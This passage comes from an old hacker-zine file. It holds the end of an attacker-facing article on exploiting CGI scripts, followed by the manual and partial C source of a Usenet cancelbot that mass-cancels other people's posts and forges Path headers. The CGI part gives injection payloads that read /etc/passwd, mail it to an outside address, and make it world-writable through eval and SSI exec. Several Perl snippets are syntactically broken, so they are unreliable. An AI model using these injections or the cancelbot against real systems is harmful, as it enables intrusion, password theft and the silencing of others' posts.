  5471.     The Common Gateway Interface (CGI) is an interface specification that
  5472. allows communication between client programs and information servers which 
  5473. understand the Hyper-Text Transfer Protocol (HTTP).  TCP/IP is the 
  5474. communications protocol used by the CGI script and the server during the 
  5475. communications.  The default port for communications is port 80 (privileged),
  5476. but other non-privileged ports may be specified.
  5477.  
  5478.     CGI scripts can perform relatively simple processing on the client 
  5479. side.  A CGI script can be used to format Hyper-Text Markup Language (HTML) 
  5480. documents, dynamically create HTML documents, and dynamically generate 
  5481. graphical images.  CGI can also perform transaction recording using standard 
  5482. input and standard output.  CGI stores information in system environment 
  5483. variables that can be accessed through the CGI scripts.  CGI scripts can also
  5484. accept command line arguments.  CGI scripts operate in two basic modes:  
  5485.  
  5486.     - In the first mode, the CGI script performs rudimentary data 
  5487. processing on the input passed to it.  An example of data processing is the 
  5488. popular web lint page that checks the syntax of HTML documents.  
  5489.  
  5490.     - The second mode is where the CGI script acts as a conduit for data 
  5491. being passed from the client program to the server, and back from the 
  5492. server to the client.  For example, a CGI script can be used as a front end 
  5493. to a database program running on the server.  
  5494.  
  5495.     CGI scripts can be written using compiled programming languages, 
  5496. interpreted programming languages, and scripting languages.  The only real 
  5497. advantage that exists for one type of development tool over the other is that
  5498. compiled programs tend to execute more quickly than interpreted programs.  
  5499. Interpreted languages such as AppleScript, TCL, PERL and UNIX shell scripts 
  5500. afford the possibility of acquiring and modifying the source (discussed 
  5501. later), and are generally faster to develop than compiled programs.  
  5502.  
  5503.     The set of common methods available to CGI programs is defined in 
  5504. the HTTP 1.0 specification.  The three methods pertinent to this discussion 
  5505. are the `Get` method, the `Post` method, and the `Put` method.  The `Get` 
  5506. method retrieves information from the server to the client.  The `Post` 
  5507. method asks the server to accept information passed from the client as input 
  5508. to the specified target. The `Put` method asks the server to accept 
  5509. information passed from the client as a replacement for the specified target.
  5510.  
  5511. 2.    Vulnerabilities
  5512.  
  5513.     The vulnerabilities caused by the use of CGI scripts are not 
  5514. weaknesses in CGI itself, but are weaknesses inherent in the HTTP 
  5515. specification and in various system programs.  CGI simply allows access to 
  5516. those vulnerabilities.  There are other ways to exploit the system security.
  5517. For example, insecure file permissions can be exploited using FTP or telnet.
  5518. CGI simply provides more opportunities to exploit these and other security 
  5519. flaws.
  5520.  
  5521.     The CGI specification provides opportunities to read files, acquire 
  5522. shell access, and corrupt file systems on server machines and their attached 
  5523. hosts.  Means of gaining access include: exploiting assumptions of the 
  5524. script, exploiting weaknesses in the server environment, and exploiting 
  5525. weaknesses in other programs and system calls.  The primary weakness in 
  5526. CGI scripts is insufficient input validation.
  5527.  
  5528.     According to the HTTP 1.0 specification, data passed to a CGI script 
  5529. must be encoded so that it can work on any hardware or software platform.  
  5530. Data passed by a CGI script using the Get method is appended to the end of a 
  5531. Universal Resource Locator (URL).  This data can be accessed by the CGI 
  5532. script as an environment variable named QUERY_STRING.  Data is passed as 
  5533. tokens of the form variable=value, with the tokens separated by ampersands 
  5534. (&).  Actual ampersands, and other non-alphanumeric characters, must be 
  5535. escaped, meaning that they are encoded as two-digit hexadecimal values.  
  5536. Escaped characters are preceded by a percent sign (%) in the encoded URL.  It
  5537. is the responsibility of the CGI script to escape or remove characters in 
  5538. user supplied input data.  Characters such as '<' and '>', the delimiters for
  5539. HTML tags, are usually removed using a simple search and replace operation, 
  5540. such as the following:
  5541.  
  5542. ----------------8<----------------------------------------------------------
  5543.  
  5544. # Process input values
  5545. {$NAME, $VALUE) = split(/=/, $_);    # split up each variable=value pair
  5546. $VALUE =~ s/\+/ /g;            # Replace '+' with ' '
  5547. $VALUE =~ s/%([0-9|A-F]{2})/pack(C,hex,{$1}}/eg;  # Replace %xx characters with ASCII
  5548. # Escape metacharacters
  5549. $VALUE =~ s/([;<>\*\|'&\$!#\(\)\[\]\{\}:"])/\\$1/g;# remove unwanted special characters
  5550. $MYDATA[$NAME} = $VALUE;    # Assign the value to the associative array
  5551.  
  5552. ----------------8<----------------------------------------------------------
  5553.  
  5554.     This example removes special characters such as the semi-colon 
  5555. character, which is interpreted by the shell as a command separator.  
  5556. Inclusion of a semi-colon in the input data allows for the possibility 
  5557. of appending an additional command to the input.  Take note of the forward 
  5558. slash characters that precede the characters being substituted.  In PERL, a 
  5559. backslash is required to tell the interpreter not to process the following 
  5560. character.*
  5561.  
  5562.     The above example is incomplete since it does not address the 
  5563. possibility of the new line character '%0a', which can be used to execute 
  5564. commands other than those provided by the script.  Therefore it is possible to 
  5565. append a string to a URL to perform functions outside of the script.  For 
  5566. example, the following URL requests a copy of /etc/passwd from the server 
  5567. machine:
  5568.  
  5569. http://www.odci.gov/cgi-bin/query?%0a/bin/cat%20/etc/passwd
  5570.  
  5571. The strings '%0a" and '%20' are ASCII line feed and blank respectively.
  5572.  
  5573.     The front end interface to a CGI program is an HTML document called a 
  5574. form.  Forms include the HTML tag <INPUT>.  Each <INPUT> tag has a variable 
  5575. name associated with it.  This is the variable name that forms the left hand 
  5576. side of the previously mentioned variable=value token.  The contents of the 
  5577. variable forms the value portion of the token.  Actual CGI scripts may 
  5578. perform input filtering on the contents of the <INPUT> field.  However if the
  5579. CGI script does not filter special characters, then a situation analogous to 
  5580. the above example exists.  Interpreted CGI scripts that fail to validate the 
  5581. <INPUT> data will pass the data directly to the interpreter. **
  5582.  
  5583.     Another HTML tag sometime seen in forms is the <SELECT> tag.  
  5584. <SELECT> tags allow the user on the client side to select from a finite set 
  5585. of choices.  The selection becomes the right hand side of the variable=value 
  5586. token passed to the CGI script.  CGI script often fail to validate the 
  5587. input from a <SELECT> field, assuming that the field will contain only 
  5588. pre-defined data.  Again, this data is passed directly to the interpreter for
  5589. interpreted languages.  Compiled programs which do not perform input 
  5590. validation and/or escape special characters may also be vulnerable.
  5591.  
  5592.     A shell script or PERL script that invokes the UNIX mail program may 
  5593. be vulnerable to a shell escape.  Mail accepts commands of the form 
  5594. '~!command' and forks a shell to execute the command.  If the CGI 
  5595. script does not filter out the '~!' sequence, the system is vulnerable.  
  5596. Sendmail holes can likewise be exploited in this manner.  Again, the key is 
  5597. to find a script that does not properly filter input characters.
  5598.  
  5599.     If you can find a CGI script that contains a UNIX system() call with 
  5600. only one argument, then you have found a doorway into the system.  When the 
  5601. system() function is invoked with only one argument, the system forks a 
  5602. separate shell to handle the request.  When this happens, it is possible to 
  5603. append data to the input and generate unexpected results.  For example, a 
  5604. PERL script containing the following:
  5605.  
  5606. system("/usr/bin/sendmail -t %s < %s", $mailto_address < $input_file");
  5607.  
  5608. is designed to mail a copy of $input_file to the mail address specified in 
  5609. the $mailto_address variable.  By calling system() with one argument, the 
  5610. program causes a separate shell to be forked.  By copying and modifying the 
  5611. input to the form:
  5612.  
  5613. <INPUT TYPE="HIDDEN" NAME="mailto_address" 
  5614. VALUE="address@server.com;mail cracker@hacker.com </etc/passwd">
  5615.  
  5616. we can exploit this weakness and obtain the password file from the server. ***
  5617.  
  5618.     The system() function is not the only command that will fork a new 
  5619. shell.  the exec() function with a single argument also provides the same 
  5620. exposure.  Opening a file and piping the result also forks a separate shell.  
  5621. In PERL, the function:
  5622.  
  5623. open(FILE, "| program_name $ARGS");
  5624.  
  5625. will open FILE and pipe the contents to program_name, which will run as a 
  5626. separate shell.
  5627.  
  5628.     In PERL, the eval command parses and executes whatever argument is 
  5629. passed to it.  CGI scripts that pass arbitrary user input to the eval command
  5630. can be used to execute anything the user desires.  For example, 
  5631.  
  5632. $_ = $VALUE;
  5633. s/"/\\"/g        # Escape double quotes
  5634. $RESULT = eval qq/"$_"/;    # evaluate the correctly quoted input
  5635.  
  5636. would pass the data from $VALUE to eval essentially unchanged, except for 
  5637. ensuring that the double quote don't confuse the interpreter (how nice of 
  5638. them).  If $VALUE contains "rm -rf *", the results will be disastrous.  File 
  5639. permissions should be examined carefully.  CGI scripts that are world 
  5640. readable can be copied, modified, and replaced.  In addition, PERL scripts 
  5641. that include lines such as the following:
  5642.  
  5643. require "cgi-lib";
  5644.  
  5645. are including a library file named cgi-lib.  If this file's permissions are 
  5646. insecure, the script is vulnerable.  To check file permissions, the string 
  5647. '%0a/bin/ls%20-la%20/usr/src/include" could be appended to the URL of a CGI 
  5648. script using the Get method.
  5649.  
  5650.     Copying, modifying, and replacing the library file will allow users 
  5651. to execute command or routines inside the library file.  Also, if the PERL 
  5652. interpreter, which usually resides in /usr/bin, runs as SETUID root, it is 
  5653. possible to modify file permissions by passing a command directly to the 
  5654. system through the interpreter.  The eval command example above would permit 
  5655. the execution of :
  5656.  
  5657. $_ = "chmod 666 \/etc\/passwd"
  5658. $RESULT = eval qq/"$_"/;
  5659.  
  5660. which would make the password file world writable.
  5661.  
  5662.     There is a feature supported under some HTTPD servers called Server 
  5663. Side Includes (SSI).  This is a mechanism that allows the server to modify 
  5664. the outgoing document before sending it to the client browser.  SSI is a 
  5665. *huge* security hole, and most everyone except the most inexperienced 
  5666. sysadmin has it disabled.  However, in the event that you discover a site 
  5667. that enables SSI,, the syntax of commands is:
  5668.  
  5669. <!--#command variable="value" -->
  5670.  
  5671. Both command and 'tag' must be lowercase.  If the script source does not 
  5672. correctly filter input,input such as:
  5673.  
  5674. <!--#exec cmd="chmod 666 /etc/passwd"--> 
  5675.  
  5676.     All SSI commands start with a pound sign (#) followed by a keyword.  
  5677. "exec cmd" launches a shell that executes a command enclosed in the double 
  5678. quotes.  If this option is turned on, you have enormous flexibility with what
  5679. you can do on the target machine.
  5680.  
  5681. 3.    Conclusion
  5682.  
  5683.     The improper use of CGI scripts affords users a number of 
  5684. vulnerabilities in system security.  Failure to validate user input, poorly 
  5685. chosen function calls, and insufficient file permissions can all be exploited
  5686. through the misuse of CGI.
  5687.  
  5688.  
  5689.  
  5690. *   Adapted from Mudry, R. J., Serving The Web, Coriolis Group Books, p. 192
  5691. **  Jennifer Myers, Usenet posting
  5692. *** Adapted from Phillips, P., Safe CGI Programming, 
  5693.                             .oO Phrack Magazine Oo.
  5694.  
  5695.                         Volume Seven, Issue Forty-Nine
  5696.             
  5697.                      File 09 of 16
  5698.  
  5699.                     by Dr.Dimitri Vulis (KOTM)
  5700.  
  5701.                A Content-Blind Cancelbot for Usenet (CBCB)
  5702.  
  5703. Usenet News is a popular system for transmitting articles. Historically it
  5704. used to propagate over UUCP. However today most of the transmission is done
  5705. over the Internet TCP/IP connections using the NNTP protocol (RFC 977).
  5706.  
  5707. Each article consists of a series of headers of the form
  5708. Keyword: value
  5709. followed by a blank line, followed by the body of the message.
  5710. Some required headers are self-explanatory: From:, Date:, Subject:.
  5711.  
  5712. The Newsgroups: header identifies a series of keywords that can be used
  5713. to search for articles in the newsfeed. For example:
  5714. Newsgroups: news.admin.policy,comp.lang.c
  5715. identifies a Usenet article relevant to both Usenet administrative policy
  5716. and to the C computer language.
  5717.  
  5718. The Message-Id: header uniquely identifies each article. For example:
  5719. Message-Id: <12341223@whitehouse.gov>
  5720. The message-ids are not supposed to be recycled.
  5721.  
  5722. The cancelbot program is supposed to search the user-specified newsgroups for
  5723. articles whose headers match user-specified regular expressions and to issue
  5724. special 'cancel' control articles. It will copy some of the headers from the
  5725. original message and add a special header:
  5726. Control: cancel <message-id>
  5727.  
  5728. This program is an NNTP client. Much of the processing is offloaded to an
  5729. NNTP server, to which the cancelbot talks using the Internet sockets protocol.
  5730.  
  5731. This cancelbot does not look at article bodies and is therefore content-blind.
  5732.  
  5733. Inputs:
  5734.  
  5735. argv[1] (required) hosts file
  5736.  
  5737. A line that starts with # is a comment. Otherwise, each line contains the
  5738. following 5 fields:
  5739.  
  5740. 1. hostname (some.domain.com) or ip address (a.b.c.d)
  5741. 2. port (normally 119)
  5742. 3. Y/N - do we ask this host for NEWNEWS/HEADER?
  5743. 4. I/P/N - do we inject cancels to this host with IHAVE, POST, not at all
  5744. 5. Timeout - the number of seconds to wait for a response from this server.
  5745.  
  5746. Example of a hosts file:
  5747.  
  5748. # ask the local server for new news and post back the cancels
  5749. 127.0.0.1 119 Y P 60
  5750. # don't get message-ids from remote server, but give it cancels via IHAVE
  5751. news.xx.net 119 N I 300
  5752.  
  5753.  
  5754. argv[2] (required) target file
  5755.  
  5756. A line that starts with # is a comment. Otherwise, each line contains the
  5757. following 9 fields:
  5758.  
  5759. 1. List of newsgroups to be scanned for new messages. This is not interpreted
  5760. by the cancelbot, but passed on to the NNTP server. Per RFC 997, multiple
  5761. groups can be separated by commas. Asterisk "*" may be used to match multiple
  5762. newsgroup names. The exclamation point "!" (as the first character) may be used
  5763. to negate a match. Warning: specifying a single * will generate a lot of data.
  5764.  
  5765. Example: news.groups,comp.*,sci.*,!sci.math.*
  5766.  
  5767. 2. A watchword (case-sensitive) that needs to be contained in the article
  5768. headers for the cancel to be issued.
  5769.  
  5770. 3. Format of the Subject: header in the cancel article.
  5771.  C - Subject cancel <message-id> (same as Control:)
  5772.  O - Subject: header copied from the original article
  5773.  N - none.
  5774. If N is specified, then Subject: MUST be provided in the file appended to
  5775. the header, or the cancel won't propagate.
  5776.  
  5777. 4. cancel message-id prefix
  5778.  normally cancel. or cn.
  5779.  
  5780. Most cancellation articles follow the so-called $alz convention:
  5781. Control: cancel <message.id>
  5782. Message-id: <cancel.message.id>
  5783. However this is not a requirement.
  5784.  
  5785. 5. path constant (string to put in path). May be 'none'.
  5786. 6. path copy # (number of elements to copy from the right, may be 0)
  5787.  
  5788. Explanation of these two parameters:
  5789. each Usenet article contains the "Path:" header with a list of hosts separated
  5790. by explanation marks. For example:
  5791. Path: ohost1!ohost2!ohost3!ohost4
  5792. If you specify path constant of "nhosta!nhostb" and path copy of 2
  5793. then the path written by cbcb will be
  5794. Path: nhosta!nhostb!ohost3!ohost4
  5795.  
  5796. 7. Name of the file appended to the header or 'none'
  5797.  
  5798. Examples:
  5799.  
  5800. # should be supplied as a courtesy
  5801. X-Cancelled-By: Cancelbot
  5802. # if and only if target file field 3 contains 'N':
  5803. Subject: Cancelling a Usenet article
  5804. # only if posting via IHAVE:
  5805. NNTP-Posting-Host: usenet.cabal.org
  5806.  
  5807. 8. Name of the file that will become the body of the cancel or 'none'
  5808.  
  5809. If 'none' is specified, the default will be
  5810. "Please cancel this article."
  5811.  
  5812. 9. The string to be prepended to the newsgroups. Normally 'none',
  5813. but may be set to something like misc.test (or misc.test,alt.test).
  5814.  
  5815. Example of a target file:
  5816.  
  5817. # delete all articles that mention C++ (but not c++)
  5818. comp.lang.c.* C++ C cancel. cyberspam 3 can.hdr none none
  5819. # no sex in the sci hierarchy, and add misc.test to the cancel
  5820. sci.* sex C cn. plutonium 2 can1.hdr can.txt misc.test
  5821.  
  5822. argv[3] (optional) datestamp, YYMMDD. If not specified, default is 900101. Only
  5823. articles after this date are examined. This parameter is not processed by the
  5824. cancelbot, but passed on to the NNTP server. It should normally be specified
  5825. so as not to look at old Usenet articles.
  5826.  
  5827. argv[4] (optional) timestamp, digits HHMMSS, where HH is hours on the 24-hour
  5828. clock, MM is minutes 00-59, and SS is seconds 00-59. If not specified, default
  5829. is 000000. Note that both datestamp and timestamp are in Greenwich mean time.
  5830.  
  5831. ---------------8<-------cut me loose!-------------->8--------------------------
  5832. ed-note:
  5833. To compile, you must define an OS type (under gcc, this is accomplished using
  5834. the -Dmacro directive).  Under Unix, for example:
  5835. gcc -DCBCB_UNIX -o cancelbot cbcb.c
  5836.  
  5837. ---------------8<-------cut me loose!-------------->8--------------------------
  5838.  
  5839. cbcb.c:
  5840. /*
  5841.  
  5842. Context-blind CancelBot 0.9 04/01/96
  5843.  
  5844. Description of operations:
  5845.  
  5846. Open socket connections to the hosts listed in the hosts file
  5847.  
  5848. loop on targets
  5849.  {
  5850.  loop on servers
  5851.   {
  5852.   if (newnews_flag=='Y')
  5853.    {
  5854.    send NEWNEWS newsgroups datestamp timestamp GMT to this socket
  5855.    receive a list of message-ids and save them in a LIFO linked list
  5856.    loop on message-ids
  5857.      {
  5858.      send HEADER message-id to this server's socket
  5859.      receieve a header
  5860.      if the header contains the watchword
  5861.       {
  5862.       compose a cancel according to the target file specifications
  5863.       loop on servers
  5864.        {
  5865.        if post_flag is P or I
  5866.         send the cancel to this server's socket using posting method
  5867.        }
  5868.       }
  5869.      delete this message-id from the linked list
  5870.      }
  5871.     }
  5872.    }
  5873.   }
  5874.  
  5875. */
  5876.  
  5877. #ifndef CBCB_UNIX
  5878. #ifndef CBCB_VMS
  5879. #ifndef CBCB_NT
  5880. #ifndef CBCB_OS2
  5881. #error One of (CBCB_UNIX, CBCB_VMS, CBCB_NT, CBCB_OS2) must be defined
  5882. #endif
  5883. #endif
  5884. #endif
  5885. #endif
  5886.  
  5887. #include <stdio.h>
  5888. #include <stdlib.h>
  5889. #include <signal.h>
  5890. #include <string.h>
  5891. #include <ctype.h>
  5892.  
  5893. /* various flavors of Unix */
  5894.  
  5895. #ifdef CBCB_UNIX
  5896. /* gcc -DCBCB_UNIX cbcb.c -o cbcb */
  5897. #include <unistd.h>
  5898. #include <sys/types.h>
  5899. #include <sys/socket.h>
  5900. #include <sys/time.h>
  5901. #include <netinet/in.h>
  5902. #include <arpa/inet.h>
  5903. #include <netdb.h>
  5904. /* perror to be called after failed socket calls */
  5905. #define perror_sock perror
  5906. /* how to close a socket */
  5907. #define close_sock close
  5908. #endif
  5909.  
  5910. /* Windows NT, /subsystem:console. The executable is supposed to work
  5911. under NT and Windows 95, but not under Win32s. */
  5912.  
  5913. #ifdef CBCB_NT
  5914. /* important note: when compiling on NT, say something like
  5915.  cl /DCBCB_NT /Ogaityb1 /G5Fs /ML cbcb.c wsock32.lib */
  5916. #include <winsock.h>
  5917. /* regular perror doesn't work with WinSock under NT */
  5918. #define perror_sock(s) fprintf(stderr,"%s : WinSock error %d\n",s,WSAGetLastError())
  5919. /* regular close doesn't work with WinSock under NT */
  5920. #define close_sock closesocket
  5921. /* NT doesn't understand unix-style sleep in seconds */
  5922. #define sleep(n) Sleep(n*1000)
  5923. #endif
  5924.  
  5925. /* DEC VAX/VMS */
  5926.  
  5927. #ifdef CBCB_VMS
  5928. /* important note: when compiling on VAX/VMS, say something like
  5929.  cc/define=CBCB_VMS cbcb/nodebug/optimize=(disjoint,inline)
  5930.  link cbcb/nouserlib/notraceback,sys$library:ucx$ipc.olb/lib,-
  5931.   sys$library:vaxcrtl.olb/lib
  5932.    (to link in shared routines)
  5933.   */
  5934. #include <types.h>
  5935. #include <socket.h>
  5936. #include <netdb.h>
  5937. #include <in.h>
  5938. #include <inet.h>
  5939. #include <time.h>
  5940. #include <unixio.h>
  5941. #define perror_sock perror
  5942. #define close_sock close
  5943. #endif
  5944.  
  5945. /* IBM OS/2  - link with tcpip.lib */
  5946.  
  5947. #ifdef CBCB_OS2
  5948. #define OS2
  5949. /* we will use a BSD-like select, not Oleg's hack */
  5950. #define BSD_SELECT
  5951. #define INCL_DOSPROCESS
  5952. #include <bsedos.h> /* DosSleep */
  5953. #include <sys\types.h>
  5954. #include <sys\socket.h>
  5955. #include <sys\select.h>
  5956. #include <netinet\in.h>
  5957. /*#include <arpa\inet.h>*/
  5958. #include <netdb.h>
  5959. /* perror to be called after failed socket calls */
  5960. #define perror_sock fprintf(stderr,"%s : tcp error %d\n",s,tcperrno())
  5961. /* how to close a socket */
  5962. #define close_sock soclose
  5963. #define sleep(n) DosSleep(n/1000)
  5964. #endif
  5965.  
  5966. /*
  5967.  
  5968. Future Macintosh notes: Need Apple's MPW (Macintosh Programmer's Workshop).
  5969. Build CBCB as an MPW tool. Set the Macintosh file type to MPST and the
  5970. Macintosh creator to MPS, so we can use stdout and stderr.
  5971.  
  5972. Sockets are supposed to be available on the Mac.
  5973.  
  5974. */
  5975.  
  5976. #ifndef FD_ZERO
  5977. /* macros for select() not defined on VAX or HPUX
  5978. However they are defined to be something completely different
  5979. under NT WinSock, so we must use macros */
  5980. #define fd_set int
  5981. #define FD_ZERO(p) {*(p)=0;}
  5982. #define FD_SET(s,p) {*(p)|=(1<<(s));}
  5983. #define FD_ISSET(s,p) ((*(p)&(1<<(s)))!=0)
  5984. #endif
  5985.  
  5986. /* file pointers */
  5987. FILE *sptr, /* hosts file */
  5988.      *tptr; /* target file*/
  5989.  
  5990. /* there's a reason for making all these variables static. If I weren't lazy,
  5991. I would have put them in their respective functions with 'static' */
  5992.  
  5993. #define MAXHOSTS 100
  5994.  
  5995. struct {
  5996. int cfd; /* socket handle */
  5997. char newnews_flag;
  5998. char post_flag;
  5999. int timeout;
  6000. } hosts[MAXHOSTS];
  6001. int nhosts;
  6002.  
  6003. short int port;
  6004.  
  6005. #define ASCII_CR 13
  6006. #define ASCII_LF 10
  6007.  
  6008. #define BUFFERSIZE 2048
  6009.  
  6010. #define BUFFERBIGSIZE 20480
  6011. char buffer_big[BUFFERBIGSIZE];
  6012.  
  6013. struct _msgidq {
  6014. char *msgid;
  6015. struct _msgidq *next;
  6016. };
  6017.  
  6018. struct _msgidq *msg_queue,*msg_t;
  6019.  
  6020. int parse_state, /* for parsing server responses */
  6021.  h_flag,d_flag; /* shortcut for states when parsing headers */
  6022.  
  6023. char hostname[BUFFERSIZE];
  6024. char buffer[BUFFERSIZE];
  6025. char extra_header[BUFFERSIZE];
  6026. char extra_body[BUFFERSIZE];
  6027. int file_rec;
  6028. char newsgroups[BUFFERSIZE];       /* target field 1 */
  6029. char watchword[BUFFERSIZE];        /* target field 2 */
  6030. char subject_flag;                 /* target field 3 */
  6031. char cmsg_id_prefix[BUFFERSIZE];   /* target field 4 */
  6032. char path_const[BUFFERSIZE];       /* target field 5 */
  6033. int  path_num;                     /* target field 6 */
  6034. char hdr_fname[BUFFERSIZE];        /* target field 7 */
  6035. char txt_fname[BUFFERSIZE];        /* target field 8 */
  6036. char extra_ngrp[BUFFERSIZE];         /* target field 9 */
  6037.  
  6038. char *datestamp,*timestamp; /* for the NEWNEWS command */
  6039. char *sznone="none";
  6040. char *szcabal=" Usenet@Cabal";
  6041. char *szsubject="Subject:";
  6042. char *szsubjectc="Subject: cmsg";
  6043. char *szendl="\r\n";
  6044. char *szempty="";
  6045.  
  6046. int nretry; /* number of retries in various places */
  6047. int nbytes;
  6048. int host1,host2,i,j;   /* loop indices */
  6049.  
  6050. #define NOLDHEADERS 8
  6051. /* We're interested in 8 original headers :
  6052.  
  6053. Path:               0         (requires special handling)
  6054. From:               1
  6055. Sender:             2
  6056. Approved:           3
  6057. Newsgroups:         4
  6058. Date:               5
  6059. Subject:            6
  6060. Organization:       7
  6061.  
  6062. */
  6063.  
  6064. char *h_ptr[NOLDHEADERS];
  6065. char *t_ptr[3];
  6066.  
  6067. /* ANSI function prototypes */
  6068. int cbcb_parse_hosts(void);
  6069. int cbcb_parse_targets(void);
  6070. int cbcb_process_target(void);
  6071. int cbcb_parse_message_ids(void);
  6072. int cbcb_process_article(char *);
  6073. int cbcb_get_headers(void);
  6074. void cbcb_save_headers(void);
  6075. void cbcb_save_header(int);
  6076. int cbcb_flush_sock(int);
  6077. int cbcb_test_sock(int);
  6078. int cbcb_recv_resp(int,char);
  6079. int cbcb_copy_buffer(char *);
  6080.  
  6081. int main(int argc,char*argv[])
  6082. {
  6083.  
  6084. /* process the arguments */
  6085.  
  6086. if (argc<3 || argc>5)
  6087.  {
  6088.  fprintf(stderr,"Usage: cbcb hostfile targetfile [datestamp] [timestamp]\n");
  6089.  return(1);
  6090.  }
  6091.  
  6092. if (argc<4)
  6093.  datestamp="900101";
  6094. else
  6095.  datestamp=argv[3];
  6096.  
  6097. if (argc<5)
  6098.  timestamp="000000";
  6099. else
  6100.  timestamp=argv[4];
  6101.  
  6102. /* open the hosts file */
  6103.  
  6104. if (NULL==(sptr=fopen(argv[1],"r")))
  6105.  {
  6106.  perror("open()");
  6107.  fprintf(stderr,"cbcb cannot open hosts file %s\n",argv[1]);
  6108.  return(0);
  6109.  }
  6110.  
  6111. /* open the target file */
  6112.  
  6113. if (NULL==(tptr=fopen(argv[2],"r")))
  6114.  {
  6115.  perror("open()");
  6116.  fprintf(stderr,"cbcb cannot open target file %s\n",argv[2]);
  6117.  return(0);
  6118.  }
  6119.  
  6120. #ifdef SIGPIPE
  6121. signal(SIGPIPE,SIG_IGN); /* ignore broken pipes if this platform knows them */
  6122. #endif
  6123.  
  6124. /* establish the connections to the NNTP servers */
  6125.  
  6126. if (0==cbcb_parse_hosts())
  6127.  {
  6128.  fprintf(stderr,"cbcb unable to connect to any NNTP servers\n");
  6129.  return(1);
  6130.  }
  6131.  
  6132. fclose(sptr);
  6133.  
  6134. if (!cbcb_parse_targets())
  6135.  {
  6136.  fprintf(stderr,"cbcb encountered an error processing targets\n");
  6137.  return(1);
  6138.  }
  6139.  
  6140. fclose(tptr);
  6141.  
  6142. /* final cleanup */
  6143. for (i=0; i<nhosts; i++)
  6144.  close_sock(hosts[i].cfd);
  6145. #ifdef CBCB_NT
  6146. WSACleanup();
  6147. #endif
  6148.  
  6149. return(0);
  6150. }
  6151.  
  6152.  
  6153. int cbcb_parse_hosts(void)
  6154. {
  6155. unsigned long host_ip;
  6156. struct hostent *host_struct;
  6157. struct in_addr *host_node;
  6158. /*
  6159. struct servent *sp;
  6160. */
  6161. struct sockaddr_in serverUaddr;
  6162. #ifdef CBCB_NT
  6163. WSADATA wsaData; /* needed for WSAStartup */
  6164. #endif
  6165.  
  6166. #ifdef CBCB_NT
  6167. if (WSAStartup(MAKEWORD(1,1),&wsaData))
  6168.  {
  6169.  perror_sock("WSAStartup()");
  6170.  fprintf(stderr,"couldn't start up WinSock\n");
  6171.  return(0);
  6172.  }
  6173. fprintf(stderr,"Found WinSock: %s\n",wsaData.szDescription);
  6174. #endif
  6175.  
  6176. #ifdef CBCB_OS2
  6177. if (0!=sock_init())
  6178.  {
  6179.  perror_sock("sock_init()");
  6180.  fprintf(stderr,"couldn't start up sockets - is inet.sys running?\n");
  6181.  return(0);
  6182.  }
  6183. #endif
  6184.  
  6185. /*
  6186. if (NULL==(sp=getservbyname("nntp","tcp")))
  6187.  {
  6188.  fprintf(stderr,"Can't find the NNTP port\n");
  6189.  return(0);
  6190.  }
  6191. ...
  6192. serverUaddr.sin_port=(sp->s_port);
  6193. */
  6194.  
  6195. /* loop on the hosts file */
  6196. nhosts=0;
  6197. file_rec=0;
  6198. while(NULL!=fgets(buffer,sizeof(buffer),sptr))
  6199.  {
  6200.  file_rec++;
  6201.  if (*buffer=='#')
  6202.   continue;
  6203.  if (nhosts>=MAXHOSTS)
  6204.   {
  6205.   fprintf(stderr,"Please increase MAXHOSTS\n");
  6206.   break;
  6207.   }
  6208.  if (5!=sscanf(buffer,"%2048s %hd %c %c %d",
  6209.   hostname,&port,&hosts[nhosts].newnews_flag,&hosts[nhosts].post_flag,
  6210.   &hosts[nhosts].timeout))
  6211.   {
  6212.   fprintf(stderr,"Error parsing host file line %d \"%s\"\n",file_rec,buffer);
  6213.   continue;
  6214.   }
  6215.  /* verify that the newnews flag is Y or N */
  6216.  if (hosts[nhosts].newnews_flag=='n')
  6217.   hosts[nhosts].newnews_flag='N';
  6218.  else if (hosts[nhosts].newnews_flag=='y')
  6219.   hosts[nhosts].newnews_flag='Y';
  6220.  else if (hosts[nhosts].newnews_flag!='Y'&&hosts[nhosts].newnews_flag!='N')
  6221.   {
  6222.   fprintf(stderr,"Newnews flag %c, must be Y or N on line %d\n",
  6223.    hosts[nhosts].newnews_flag,file_rec);
  6224.   continue;
  6225.   }
  6226.  /* verify that the posting flag is P, or I, or N */
  6227.  if (hosts[nhosts].post_flag=='i')
  6228.   hosts[nhosts].post_flag='I';
  6229.  else if (hosts[nhosts].post_flag=='p')
  6230.   hosts[nhosts].post_flag='P';
  6231.  else if (hosts[nhosts].post_flag=='n')
  6232.   hosts[nhosts].post_flag='N';
  6233.  else if (hosts[nhosts].post_flag!='I'&&hosts[nhosts].post_flag!='P'&&hosts[nhosts].post_flag!='N')
  6234.   {
  6235.   fprintf(stderr,"Posting flag %c, must be I, or P, or N on line %d\n",
  6236.    hosts[nhosts].post_flag,file_rec);
  6237.   continue;
  6238.   }
  6239.  /* translate the hostname into an ip address. If it starts with a digit,
  6240.  try to interpret it as a A.B.C.D address */
  6241.  if (!isdigit(*hostname)||(0xFFFFFFFF==(host_ip=inet_addr(hostname))))
  6242.   {
  6243.   if (NULL==(host_struct=gethostbyname(hostname)))
  6244.    {
  6245.    perror("gethostbyname");
  6246.    fprintf(stderr,"Can't resolve host name %s to ip on line %d\n",
  6247.     hostname,file_rec);
  6248.    continue;
  6249.    }
  6250.   host_node=(struct in_addr*)host_struct->h_addr;
  6251.   fprintf(stderr,"Note: Using NNTP server at %s\n",inet_ntoa(*host_node));
  6252.   host_ip=host_node->s_addr;
  6253.   }
  6254.  
  6255.  /* fill in the address to connect to */
  6256.  memset(&serverUaddr,0,sizeof(serverUaddr));
  6257.  serverUaddr.sin_family=PF_INET;
  6258.  serverUaddr.sin_addr.s_addr=/*htonl*/(host_ip); /* already in net order */
  6259.  serverUaddr.sin_port=htons(port);
  6260.  
  6261.  /* try to create a socket */
  6262.  if ((hosts[nhosts].cfd=socket(AF_INET,SOCK_STREAM,0))<0)
  6263.   {
  6264.   perror_sock("socket()");
  6265.   continue;
  6266.   }
  6267.  
  6268. conn1:
  6269.  if (0>=connect(hosts[nhosts].cfd,(struct sockaddr*)&serverUaddr,sizeof(serverUaddr)))
  6270.   goto conn2; /* we use goto so we can use continue */
  6271.  if (nretry>10)
  6272.   {
  6273.   fprintf(stderr,"give up trying to connect to %s port %hd on line %d\n",
  6274.    hostname,port,file_rec);
  6275.   close_sock(hosts[nhosts].cfd);
  6276.   hosts[nhosts].newnews_flag=hosts[nhosts].post_flag='N';
  6277.   continue;
  6278.   }
  6279.  perror_sock("connect()");
  6280.  nretry++;
  6281.  sleep(1);
  6282.  goto conn1;
  6283. conn2:
